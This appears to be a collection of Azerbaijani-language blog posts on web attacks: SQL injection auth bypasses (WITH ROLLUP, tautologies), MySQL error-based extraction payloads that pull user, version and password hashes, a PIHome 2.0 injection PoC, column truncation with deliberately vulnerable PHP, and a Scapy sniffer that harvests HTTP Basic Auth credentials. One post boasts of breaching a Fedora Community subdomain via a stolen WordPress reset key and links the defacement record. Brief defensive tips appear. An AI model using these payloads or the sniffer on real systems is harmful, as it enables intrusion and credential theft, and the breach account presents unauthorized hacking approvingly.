HardCore episode 2. WITH ROLLUP modifier trick

Column Data Truncate injection mövzusunu yazanda verilmiş authentication hissəndə sql injection olduğunu və ondan başqa bir mövzuda yazı yazacağımı demişdim.Bu gün auth injection bypass metodunu fərqli bir texnika üzərindən realizə edəcəyik

Group by şərtində WITH ROLLUP modifikatoru hər hansı bir sorğunun outputunda ekstra sətir yaranmasını təmin edir.

http://dev.mysql.com/doc/refman/5.0/en/group-by-modifiers.html

Qeyd üçün deyim ki,bəzi payloadlar da burada keçərlidir məs.(admin’ or ‘1’=’1– və.s)

<?php

mysql_connect('localhost','root','xxxxxxxxx');
mysql_select_db('yourowndb');

if($_POST){

$username = strip_tags($_POST['login']);
$password = strip_tags(md5($_POST['pass']));

$query = mysql_query("select * from users where login='$username' and pass='$password'");

if(mysql_num_rows($query)>0){

echo 'Admin panel<br>';
while($row = mysql_fetch_array($query)){

echo "ID: ".$row['id'];
}
}else{
echo 'istifadeci adi ve ya sifre yanlisdir';
}

}

?>
<center>
<form method="post">
<label>Username: </label><input type="text" name="login"> </br></br>
<label>Password: </label><input type="password" name="pass"> </br></br>
<input type="submit" value="Daxil ol"> </br>
</form>

</center>

mysql> select * from users where login='admin' group by pass with rollup;
+----+-------+----------------------------------+
| id | login | pass |
+----+-------+----------------------------------+
| 1 | admin | 0cc175b9c0f1b6a831c399e269772661 |
| 1 | admin | NULL |
+----+-------+----------------------------------+
2 rows in set (0.00 sec)

Burada group by dan sonra gələn column -u `pass` dan dərhal sonra with rollup yazdıqda yaranmış ekstra sətirdə pass columnuna NULL təyin edir və şifrə boş ötürüldüyündən şərt təmin olunur.

Advertisements

MySQL Alternative error-based vectors


Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 202
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select!x-~0.FROM(select+user()x)f;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'


mysql> select if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)*1E308;
ERROR 1690 (22003): DOUBLE value is out of range in '(if((select ('root' or 'localhost' or '*xxxxFBxxxxxxxxxxxxxE0AAE75B7517260' or 'Y') from dual limit 1),2,2) * 1E308)'

//BIGINT overflow 

mysql> select (x!=0x00)--9223372036854775808 from(SELECT version()x)y;
ERROR 1690 (22003): BIGINT value is out of range in '(('5.5.44-0ubuntu0.14.04.1'  0x00) - -(9223372036854775808))'

//BIGINT overflow 

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610));
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select '5.5.44-0ubuntu0.14.04.1' from dual),18446744073709551610,18446744073709551610))'

sleep delay

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(sleep(1))) - ~(0))'
mysql> select!xsleep(11)-~0.from admin;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(sleep(11))) - ~(0))'

RaspberryPi PIHome 2.0 Sql injection

Vendor : http://pihome.harkemedia.de/
Web based application demo : https://www.youtube.com/watch?v=dADgi6LqIMQ
Github: https://github.com/cerosx/RPI.PIHome2.0-GUI-Frontend

1)Auth bypass PoC with or statement : ‘ or ‘1’=’1 —
2)Recursive fuzzing in ajax method second PoC

http://localhost/index.php?c=home&a=set&id=1%27+order+by+1111--_on

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; 

Snippet from source code :

public function updateaktivAction()
  { 
        if($_GET['id']!=""){
            require_once 'models/homeModel.php';
            $model = new homeModel();
            echo $model->updateDeviceAktiv($_GET['id'], $_GET['set']);
        }
  }

How we hacked FedoraCommunity ?

Hardasa 6 ay bundan əvvəl Fedora Community nin subdomainlərindən birində wordpress ilə paralel işləyən php də yazılmış scriptdə sql injection tapmışdıq.

WordPress core versiya səhv etmirəmsə 3.5.2 idi.wp_users cədvəlindən əldə edilmiş hash-lərin (wordpress http://www.openwall.com/phpass/ istifadə edir) bruteforce -la crack olunması xeyli vaxt aparacağına görə
fərqli metod seçmək lazım gəlmişdi.

reference:
http://codex.wordpress.org/Function_Reference/wp_hash_password
http://www.openwall.com/phpass/

3.5.2 versiyası və daha alt versiyalarda password reset edərkən
$key = wp_generate_password(20, false);

$key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login = %s", $user_login));
if ( empty($key) ) {
// Generate something random for a key...
$key = wp_generate_password(20, false);
do_action('retrieve_password_key', $user_login, $key);
// Now insert the new md5 key into the db
$wpdb->update($wpdb->users, array('user_activation_key' => $key), array('user_login' => $user_login));
}
$message = __('Someone requested that the password be reset for the following account:') . "\r\n\r\n";
$message .= network_home_url( '/' ) . "\r\n\r\n";
$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
$message .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
$message .= __('To reset your password, visit the following address:') . "\r\n\r\n";
$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";

wp_generate_password() funksiyası 20 simvolluq rəqəm və hərflərin kombinasiyandan key yaradır və həmin key plain text formasında cədvəldə user_activation_key sütununda saxlanılırdı.Cədvəldən çəkdiyimiz key-i aşağıdakı formada daxil edirik

http://domain.com/wp-login.php?action=rp&key=2OhJTnVyV4HXM64VB&login=admin

və username üçün yaradılmış key plain text formasında qarşılaşdırıldığı üçün şifrəni reset edib admin panelə daxil olmaq mümkün olur.
nəticə etibarı ilə

http://www.zone-h.org/mirror/id/24015197

################################################################

4.3.1 də artıq

HashPassword funksiyası ilə user_activate_key şifrələndiyi üçün üçün bu metod artıq keçərli deyil.

$hashed = time() . ‘:’ . $wp_hasher->HashPassword( $key );

// Now insert the key, hashed, into the DB.
if ( empty( $wp_hasher ) ) {
require_once ABSPATH . WPINC . '/class-phpass.php';
$wp_hasher = new PasswordHash( 8, true );
}
$hashed = time() . ':' . $wp_hasher->HashPassword( $key );
$wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user_login ) );

$message = __('Someone requested that the password be reset for the following account:') . "\r\n\r\n";
$message .= network_home_url( '/' ) . "\r\n\r\n";
$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
$message .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
$message .= __('To reset your password, visit the following address:') . "\r\n\r\n";
$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";

new

1445259680:$P$BXNRXLLbVVzxnkjCcq1P/bgtJcSIEG1

hash

#####################################################

Bu kimi halların qarşısını almaq üçün məsləhət görərdim HTTP_Basic_Auth daha sonrasında 2 step auth istifadə edilsin

https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.support.wordpress.com/security/two-step-authentication/

SQL column truncate attack vector

Bu yazıda köhnə,lakin aktual və yarandığı halda doğurdan da kritik vəziyyət yaradan SQL column truncation – dan danışmaq istəyirəm
Proqramlama dili olaraq PHP,sorğu dili olaraq MySQL istifadə edəcəm.Onu da qeyd edim ki,hansı proqramlama dilindən istifadə edilməsinin bu hal üçün elə bir əhəmiyyəti yoxdur(Lazımı prevention tədbirləri görüləmədiyi hallarda)

index.php və register.php adlı 2 php faylimiz olduğunu var sayaq

index.php

###############################################################

<?php

mysql_connect('localhost','root','xxxx');
mysql_select_db('truncate_injection');

if($_POST){

	$username = strip_tags($_POST['username']);
	$password = strip_tags(md5($_POST['password']));

	$query = mysql_query("select * from admin where username='$username' and password='$password'");
    
    if(mysql_num_rows($query)>0){

    	echo 'Admin panel<br>';
    	while($row = mysql_fetch_array($query)){

    		echo "ID: ".$row['id'];
    	}
    }else{
    	echo 'istifadeci adi ve ya sifre yanlisdir';
    }

}

?>
<center>
<form method="post">
<label>Username: </label><input type="text" maxlength="10" name="username"> </br></br>
<label>Password: </label><input type="password" maxlength="10" name="password"> </br></br>
<input type="submit" value="Daxil ol"> </br>
</form>
<a href="register.php">Qeydiyyat</a>
</center>

################################################################

register.php

###############################################################

<?php

mysql_connect('localhost','root','xxxxx');
mysql_select_db('truncate_injection');

if($_POST){

	$username = $_POST['username'];
	$password = md5($_POST['password']);

	$query = mysql_query("select * from admin where username='$username'");
    
    if(mysql_num_rows($query)>0){

    	
    	die("Artiq bele istifadeci var");
    }else{
    	
		$newadmin = mysql_query("INSERT INTO `admin` (username,password) VALUES ('$username','$password')");
	    
	    if($newadmin){

	    	echo 'Qeydiyyat ugurla tamamlandi';
	    }else{
	    	echo 'Qeydiyyat tamamlandi';
	    }
    }


}


?>
<center>
<form method="post">
<label>Username: </label><input type="text" maxlength="10" name="username"> </br></br>
<label>Password: </label><input type="password" maxlength="10" name="password"> </br></br>
<input type="submit" value="Qeydiyyat ol"> </br>
</form>
</center>

##############################################################################

admin.sql

##############################################################################

— phpMyAdmin SQL Dump
— version 4.0.10deb1
http://www.phpmyadmin.net

— Host: localhost
— Generation Time: Oct 17, 2015 at 01:03 AM
— Server version: 5.5.44-0ubuntu0.14.04.1
— PHP Version: 5.5.9-1ubuntu4.11

SET SQL_MODE = “NO_AUTO_VALUE_ON_ZERO”;
SET time_zone = “+00:00”;

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;


— Database: `truncate_injection`

— ——————————————————–


— Table structure for table `admin`

CREATE TABLE IF NOT EXISTS `admin` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(10) NOT NULL,
`password` varchar(35) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=12 ;


— Dumping data for table `admin`

INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, ‘admin’, ‘e10adc3949ba59abbe56e057f20f883e’);

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

############################################################################

admin adlı cədvəli yaratdıq və eyni adlı admin userini və md5 tipində şifrəni qeyd etdik

register.php faylında yeni istifadəçi qeydiyyatdan keçirərkən formdan ötürülmüş username cədvəldə daha öncədən var ya yox deyə yoxlayırıq
əgər belə istifadəçi artıq varsa qeydiyyatı sonlandırırq yox əgər yoxdursa yeni istifadəçi adı və şifrəni cədvələ qeyd edirik.
Prosessdə kritik hissə də məhz elə buradan başlayır.
İndi isə izah edək

`username` varchar(10) NOT NULL,

Göründüyü kimi,biz cədvəldə struktur yaradarkən username sütununu uzunluğu 10 simvolluq varchar tipində təyin etdik

admin cədvəlində admin adlı user var və privilegiyalı userdir.qeydiyyatdan keçən şəxs artıq cədvəldə admin userinin olduğunu bilir və
source kodu analiz etdikdə orda maxlength=”10″ olduğu görür.Deməli əgər kod səviyyəsində ötürülmüş data -nın uzunluğunun limiti nəzərə alınmayıbsa maxlength=”20″ attributunu manipulyasiya edib limiti artıra bilər.
Bu halda nə baş verir

Yeni qeydiyyatdan username adi privilegiyalı userin adı olsa məsələn admin,onda bu formada daxil ediləcək

login

burada x simvolunun başladığı yer artıq admin sözündən sonrakı boşluqlarla birlikdə 11 ci simvoldur.Cədvələ belə bir istifadəçi adı
göndərildikə biz daha öncədən username sütununu 10 simvol təyin etdiyimizə görə 10 cu simvola qədər hər şey saxlanılıb 11 ci simvol daxil olmaqla sonrakı hissə silinəcək,beləliklə cədvəldə artıq admin adlı 2ci bir user yaradılmiş olacaq.

################################################################################

Necə qorunmaq olar ?
İlk növbədə ötürülmüş data-da boşluqlar silinməlidir (strip_tags)
Daha sonra cədvəldə qeyd edilmiş sütun tipinin uzunluğu ilə ötürülmüş data-nın uzunluğunu qarşılaşdırmaq lazımdı.

 if(strlen($username)>10)
    {
    	die("simvol coxdur");
    }
    

################################################################################

Qeyd: login formda potensial sql injection-da var o barədə də başqa bir yazıda danışarıq 🙂

HTTP Auth Sniffing

HTTP autentifikasiyaların bir çoxu Basic Mode ilə həyata keçirilir. Yəni, bir çox developerlər formdan, HTTP üzərindən göndərdikləri məlumatların şifrələndiyindən əmin olurlar. Ama bu doğru deyil. HTTP üzərindən göndərilən məlumatlar Base64 ilə encode olunduğu üçün bu məlumatların plaintextdən heç bir fərqi yoxdur. Səbəb isə base64ün encoderi olduğu kimi decoderinin də olmasıdır.Bu arada sizlərə encoding-decoding,encrypting-decrypting və hashingin fəqrləri haqda məlumat vermək istərdim. Bunları araşdırdığım günə kimi mən də hamsının eyni olduğunu düşünürdüm. Ancaq bu belə deyil.

Encode və decode – Encoding hər hansısa bir məlumatın ötürülməsi zamanı həmin məlumatın şifrələnməyinə xidmət edir. Ancaq bu o qədər də güvənli deyil. Çünki həmin məlumatı yenidən əvvəlki vəziyyətinə qaytarmaq üçün decoderi mövcuddur və bu public olunmuş birşeydir.

Encrypt və decrypt – Encryption da məlumatı şifrələməyə xidmət edir. Və onu decryptorla əvvəlki vəziyətinə qaytarmaq mümkündür. Amma yeganə fərqləri ondadır ki, decryptor public birşey deyil.

Hash – Hashing də eyni vəzifəni daşısa da Hash ilə şifrələnən məlumatı geriyə qaytarmaq mümkün deyil.

Mövzumuza yenidən qayıdaq. Demək, hücum edən şəxs HTTP üzərindən göndərdiyiniz məlumatları əldə edib rahatlıqla onu istifadə edə bilər. Aşağıdakı kod bloqunda siz bunun baş verdiyini görə bilərsiniz.
Lazımlı modullar: re(regular expressions), base64, scapy. Scapy modulu standart modul olmadığı üçün terminalda `pip install Scapy` əmrini yazaraq modulu rahatlıqla qura bilərsiniz.

import re
from base64 import base64decode
from scapy.all import sniff

dev = "wlan0"

def handle_packet(packet):
	tcp = packet.getlayer("TCP")
	match = re.search(r"Authorization: Basic (.+)",str(tcp.payload))

	if match:
		auth_str = base64decode(match.group(1))
		auth = auth_str.split(":")
		print "User: " + auth[0] + " Password: " + auth[1]

sniff(iface = dev,store = 0, filter ="tcp and port 80",prn = handle_packet)

Sniff() funksiyasını istifadə etməklə biz əvvəlcə HTTP üzərindən ötürülən məlumatları oxuyuruq və onları handle_packet() funksiyası vaitəsilə TCP layerə çıxarırıq. Əldə etdiyimiz məlumatların içərisində Authorization: Basic-ə görə axtarış aparırıq. Əgər axtarış nəticəsində hansısa məlumatı əldə etmişiksə b64decode() funksiyası vasitəsilə onu decode edib, daha sonra istifadəçi adı və şifrəyə uyöun olaraq parse edirik. Və beləliklə məlumatlar əlimizdədir. Bu təhlükədən qorunmağın yollarından biri veb tətbiqetmələrinizdə HTTP üzərindən məlumat ötürərkən Digest-Authentication istifadə etməkdir.

Müəllif: mrustamoff